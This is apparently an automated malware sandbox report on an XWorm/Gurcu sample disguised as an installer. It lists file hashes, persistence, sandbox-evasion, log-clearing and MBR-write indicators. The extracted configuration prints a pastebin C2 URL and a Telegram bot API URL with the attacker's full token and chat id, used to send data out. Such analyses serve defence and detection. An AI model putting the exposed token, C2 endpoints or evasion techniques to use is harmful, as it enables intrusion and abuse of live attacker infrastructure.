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Analysis
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max time kernel
1050s -
max time network
434s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14/12/2024, 11:57
Static task
static1
Behavioral task
behavioral1
Sample
Install.exe
Resource
win10v2004-20241007-en
General
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Target
Install.exe
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Size
259KB
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MD5
28db4677dcbbaa0a4c5adbc02c9da4f3
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SHA1
e1f0199ed131a90e25204399e4e876da64ea3ba5
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SHA256
b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c
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SHA512
718ad88f930160a83c59d9f73d41cf4ea76de3c929956bffb618631d6450b7f59d4b2eb62afa59eff29461b256c402d387df9fdadee9a1a9d1b5e65cea45de52
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SSDEEP
6144:ByHp/aGMFlSShM00Iyew/2xrvhwCS9KSyiIBov:IJ/pFJIyN/2RbhHiIS
Malware Config
Extracted
xworm
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Install_directory
%ProgramData%
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install_file
ntoskrnl.exe
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pastebin_url
https://pastebin.com/raw/Zx6DUkf9
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telegram
https://api.telegram.org/bot6521061783:AAG8RBSc5RacffL-i60qrqMJYo0j7RajlZI/sendMessage?chat_id=5999137434
Extracted
gurcu
https://api.telegram.org/bot6521061783:AAG8RBSc5RacffL-i60qrqMJYo0j7RajlZI/sendMessage?chat_id=5999137434
Signatures
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Detect Xworm Payload 3 IoCs
resource yara_rule behavioral1/files/0x0009000000023c86-12.dat family_xworm behavioral1/memory/2240-22-0x0000000000600000-0x000000000061C000-memory.dmp family_xworm behavioral1/memory/3068-1413-0x0000000000BA0000-0x0000000000BBC000-memory.dmp family_xworm -
Gurcu family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1460 created 612 1460 powershell.EXE 5 -
Xworm family
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pid Process 1460 powershell.EXE 224 powershell.exe 1264 powershell.exe 3408 powershell.exe 4428 powershell.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation Install.exe Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation KrnlSetupSus.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk KrnlSetupSus.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk KrnlSetupSus.exe -
Executes dropped EXE 3 IoCs
pid Process 3260 Install.exe 2240 KrnlSetupSus.exe 3068 ntoskrnl.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ntoskrnl = "C:\\ProgramData\\ntoskrnl.exe" KrnlSetupSus.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\O: svchost.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 22 pastebin.com 23 pastebin.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 20 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\ntoskrnl svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D lsass.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1460 set thread context of 1316 1460 powershell.EXE 88 -
Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe -
Checks processor information in registry 2 TTPs 20 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 3312 timeout.exe -
Enumerates system info in registry 2 TTPs 7 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\P3P = "CP=\"CAO DSP COR ADMa DEV CONo TELo CUR PSA PSD TAI IVDo OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR LOCi CNT\"" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02ijmtmqvqarluek\Reason = "2147780641" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\ValidDeviceId svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\Flags = "8256" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00180012BA528D4A" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\DeviceId = "<Data><User username=\"02MKROCZFTBIIGDE\"/></Data>\r\n" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\DeviceId = "<Data><User username=\"02MKROCZFTBIIGDE\"><HardwareInfo BoundTime=\"1734177474\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-940901362-3608833189-1915618603-1000\02mkroczftbiigde\DeviceId = "<Data DAInvalidationTime=\"1734177475\"><User username=\"02MKROCZFTBIIGDE\"><HardwareInfo BoundTime=\"1734177475\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ijmtmqvqarluek\Request Saturday, December 14, 2024 11:57:54 = "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